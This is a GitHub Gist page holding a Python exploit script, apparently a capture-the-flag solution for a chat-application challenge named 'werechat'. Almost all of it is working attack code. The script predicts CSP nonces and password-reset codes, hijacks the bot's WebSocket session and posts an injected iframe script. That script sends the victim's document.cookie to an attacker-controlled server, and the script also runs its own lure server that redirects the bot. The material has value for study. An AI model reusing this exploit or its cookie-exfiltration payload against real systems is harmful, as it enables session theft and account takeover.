Skip to content

Instantly share code, notes, and snippets.

@tyage
Created April 14, 2024 14:00
Show Gist options
  • Save tyage/81aa9dba3e22821c27aaac38564f25ec to your computer and use it in GitHub Desktop.
Save tyage/81aa9dba3e22821c27aaac38564f25ec to your computer and use it in GitHub Desktop.
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
import requests
import sys
import re
import base64
import websocket
import time
import threading
import json
# ARGV[1]: f6fabdd7-d4e8-4ebb-ac18-2090a49a272f.werechat.chal.pwni.ng
if len(sys.argv) > 1:
URL = 'https://{}'.format(sys.argv[1])
URL_FROM_BOT = URL
REPORT_URL = 'https://bot-{}'.format(sys.argv[1])
WS_URL = 'wss://{}'.format(sys.argv[1])
SERVER_URL = 'http://XXXXXXXX:8000'
FLAG_RECEIVE_URL = 'http://XXXXXXXX:8000/flag'
else:
URL = 'http://192.168.1.2:3000'
URL_FROM_BOT = 'http://rec.l.tyage.net:3000'
REPORT_URL = 'http://192.168.1.2:3001'
WS_URL = 'ws://192.168.1.2:3000'
SERVER_URL = 'http://192.168.1.110:8000'
FLAG_RECEIVE_URL = 'http://192.168.1.110:8000/flag'
USERNAME = 'test'
PASSWORD = 'test'
SERVER_PORT = 8000
# 観測した最後のseq
LAST_SEQ = 0
INCREASE_TASK_FINISHED = False
RESET_SEQ = 0
PRE_LOAD_NUM = 150
NONCE = ""
def gen_final_payload():
return """
<iframe srcdoc="
<script nonce='{}'>
top.location = '{}?flag=' + top.document.cookie
</script>
"></iframe>
""".format(NONCE, FLAG_RECEIVE_URL)
class CustomHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
if self.path == '/':
# botからの初回アクセスので、bytes_buffer_indexを進める
threading.Thread(target=increase_bytes).start()
self.wfile.write(("""
<script>
const chatURL = '""" + URL_FROM_BOT + """/chat'
const windowChanger = URL.createObjectURL((new Blob([`
<script>
const check = async () => {
const result = (await (await fetch(location.origin + '/check')).text())
return result === 'GO'
}
window.opener.location ='${chatURL}'
const timer = setInterval(async () => {
if (await check()) {
window.opener.location = location.origin + '/back'
clearInterval(timer)
}
}, 1000 * 3)
<\\/script>
`], { type: 'text/html' })))
const win = window.open(windowChanger)
</script>
""").encode())
elif self.path == '/back':
threading.Thread(target=try_websocket).start()
self.wfile.write("""
<script>
history.back()
</script>
""".encode())
elif self.path == '/check':
if INCREASE_TASK_FINISHED:
self.wfile.write("GO".encode())
def extract_nonce(input_string):
match = re.search(r'nonce="(.*?)"', input_string)
if match:
return match.group(1)
else:
return None
def make_base64_id(rand: bytes, seq: int):
seq_bytes = bytes.fromhex('{:06x}'.format(seq))
return base64.urlsafe_b64encode(rand + seq_bytes).decode('utf-8')
def make_nonce(num: int):
for i in range(0, num):
requests.get(URL)
def get_nonce():
res = requests.get(URL)
nonce = extract_nonce(res.text)
return nonce
def send_password_reset():
res = requests.post('{}/api/request-reset'.format(URL), json={
'username': USERNAME
})
def reset_password(code):
res = requests.post('{}/api/reset'.format(URL), json={
'username': USERNAME,
'code': code,
'password': PASSWORD
})
print(code)
print(res.text)
def parse_base64id(base64id):
randbytes = base64.urlsafe_b64decode(base64id)
rand = randbytes[:-3]
seq = int(randbytes[-3:].hex(), 16)
return (rand, seq)
def increase_bytes():
global LAST_SEQ
global INCREASE_TASK_FINISHED
global NONCE
time.sleep(5)
# (PRE_LOAD_NUM + 8) * 12 から 12バイト がbotのnonceのseqになる
# nocneではなくパスワードリセットによって取得したい範囲
start_nonce = (PRE_LOAD_NUM + 8) * 12
end_nonce = (PRE_LOAD_NUM + 9) * 12
start_password_reset = int(start_nonce / 9)
end_password_reset = int(end_nonce / 9) - 1
bytes_buffer_index = -1
last_seq = 0
buff = b'\x00' * 4096
# 289まではnonceを確認する。あとでパスワードリセット値としても利用できる
while bytes_buffer_index < 289:
# 一部例外
next_seq = last_seq + 1
if start_password_reset <= next_seq and next_seq <= end_password_reset:
send_password_reset()
print("input password reset code:")
code = input()
reset_password(code)
(rand, seq) = parse_base64id(code)
last_seq = last_seq + 1
else:
base64id = get_nonce()
(rand, seq) = parse_base64id(base64id)
last_seq = seq
# bytes_buffer_index = seq - 2, リセット後はリセット時の値より先になるはず
bytes_buffer_index = seq - 2 - RESET_SEQ
start = bytes_buffer_index * len(rand)
end = start + len(rand)
buff = buff[:start] + rand + buff[end:]
# パスワードリセットでbytes_buffer_indexを342まで進める
while bytes_buffer_index < 342:
send_password_reset()
# predict reset code
bytes_buffer_index = bytes_buffer_index + 1
start = bytes_buffer_index * 9
end = start + 9
rand = buff[start:end]
last_seq = last_seq + 1
reset_code = make_base64_id(rand, last_seq)
reset_password(reset_code)
NONCE = base64.urlsafe_b64encode(
buff[(start_nonce-24):(end_nonce-24)] +
bytes.fromhex('{:06x}'.format(PRE_LOAD_NUM + 8))
).decode('UTF-8')
print('nonce:', NONCE)
LAST_SEQ = bytes_buffer_index + 3
INCREASE_TASK_FINISHED = True
def send_websocket(last_seq):
session = make_base64_id(b'\x00' * 12, last_seq)
url = '{}/api/ws?session={}'.format(WS_URL, session)
print(url)
sock = websocket.WebSocket()
sock.connect(url, header={
'Cookie': COOKIE
})
time.sleep(0.01)
sock.send('{"kind":"CreateRoom","name":"hogehogetarou7"}')
res = sock.recv()
if res != '':
room_id = json.loads(res)['data']['id']
data = {
'kind': 'Message',
'room': room_id,
'content': gen_final_payload()
}
sock.send(json.dumps(data))
sock.close(3000)
return True
else:
sock.close()
return False
# botのWebSocket sessionをbotより先に乗っ取る
def try_websocket():
for i in range(1, 20):
success = send_websocket(LAST_SEQ)
if success:
break
time.sleep(0.2)
def get_cookie():
# GET COOKIE
requests.post('{}/api/register'.format(URL), json={
'inviteCode': "every_wolf_needs_a_pack",
'username': USERNAME,
'email': "namatyage@gmail.com",
'password': PASSWORD
})
res = requests.post('{}/api/login'.format(URL), json={
'username': USERNAME,
'password': PASSWORD
})
return res.headers['set-cookie']
def submit_bot():
requests.post('{}/visit'.format(REPORT_URL), json={
'url': SERVER_URL
})
if __name__ == '__main__':
COOKIE = get_cookie()
# botがtimeoutしないように先に済ませておく
print("make {} nonces...".format(PRE_LOAD_NUM))
make_nonce(PRE_LOAD_NUM)
print("done.")
submit_bot()
server_address = ('0.0.0.0', SERVER_PORT)
httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
httpd.serve_forever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment